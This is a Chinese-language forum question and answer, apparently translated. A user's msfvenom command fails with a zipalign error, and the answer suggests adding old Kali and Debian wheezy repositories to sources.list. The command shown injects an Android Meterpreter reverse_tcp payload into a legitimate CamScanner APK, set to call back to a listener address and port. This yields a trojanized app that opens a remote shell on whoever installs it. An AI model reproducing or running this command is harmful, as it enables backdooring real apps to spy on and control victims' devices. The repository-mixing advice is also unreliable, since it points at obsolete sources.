![错误:未找到 zipalign。如果它不在您的路径中,请添加它](https://linux22.com/image/11698/%E9%94%99%E8%AF%AF%EF%BC%9A%E6%9C%AA%E6%89%BE%E5%88%B0%20zipalign%E3%80%82%E5%A6%82%E6%9E%9C%E5%AE%83%E4%B8%8D%E5%9C%A8%E6%82%A8%E7%9A%84%E8%B7%AF%E5%BE%84%E4%B8%AD%EF%BC%8C%E8%AF%B7%E6%B7%BB%E5%8A%A0%E5%AE%83.png)
当我尝试在 apk 中注入有效负载时,会发生此错误
root@kali:~# msfvenom -x /root/Documents/CamScanner_5.7.5.20180907.apk -p android/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=2410 -o camscanner_main.apk
Using APK template: /root/Documents/CamScanner_5.7.5.20180907.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
Error: zipalign not found. If it's not in your PATH, please add it.`
我什至尝试 apt-get install zipalign
root@kali:~# apt-get install zipalign
Reading package lists... Done
Building dependency tree
Reading state information... Done
Package zipalign is not available, but is referred to by another package.
This may mean that the package is missing,
has been obsoleted, or is only available from another source`
E: Package 'zipalign' has no installation candidate
答案1
我发现修复了
将这些链接添加到存储库
nano /root/etc/apt/sources.list
并粘贴这些链接
deb http://http.kali.org/kali kali-rolling main contrib non-free
deb-src http://http.kali.org/kali kali-rolling main contrib non-free
deb http://old.kali.org/kali sana main non-free contrib
deb http://ftp.de.debian.org/debian wheezy main
并尝试这些命令
apt-get update
apt-get install zipalign